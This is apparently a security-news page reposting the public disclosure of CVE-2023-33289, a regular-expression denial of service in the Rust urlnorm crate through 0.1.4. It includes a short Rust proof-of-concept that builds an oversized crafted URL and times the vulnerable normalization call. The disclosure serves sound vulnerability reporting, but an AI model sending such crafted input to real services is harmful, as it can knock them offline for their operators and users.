Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-33289: Public disclosure of vulnerability inside the urlnorm crate through 0.1.4 for Rust

The urlnorm crate through 0.1.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to lib.rs.

CVE
#vulnerability#dos#git

Public disclosure of vulnerability inside the urlnorm crate through 0.1.4 for Rust

Regex Denial of service in urlnorm package on https://crates.io/crates/urlnorm

The urlnorm crate through 0.1.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to lib.rs.

The regex defined on line 37. in https://github.com/progscrape/urlnorm/blob/main/src/lib.rs used for trimming .html and other

extensions when normalizing the url is vulnerable to a Regex Denial of Service when malicious input is provided.

Poc Code:

‘’’

use url::Url;

use urlnorm::UrlNormalizer;

use std::{time::{Duration, Instant}};

fn main() {

println!("[ + ] Testing urlnorm package");

let x = std::iter::repeat(“A5.html”).take(50000).collect::<String>().to_owned();

let norm = UrlNormalizer::default();

let mut url_input ="https://goooooooogle.com/hello/index.html/".to_owned();

url_input.push_str(x.as_str());

url_input.push_str(“\x00”);

let url = Url::parse(&url_input).unwrap();

println!("{:?}",url);

let start = Instant::now();

let normalized = norm.compute_normalization_string(&url);

//let normalized = norm.normalize_host(&url).unwrap();

println!("[ + ] Url -> {:?}", normalized);

let end = start.elapsed();

println!("[ + ] Time elapsed {:?}", end);

}

‘’’

Related news

GHSA-fqhp-rhm6-8rrj: urlnorm vulnerable to Regular Expression Denial of Service

The urlnorm crate through 0.1.4 for Rust allows Regular Expression Denial of Service (ReDos) via a crafted URL to lib.rs.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda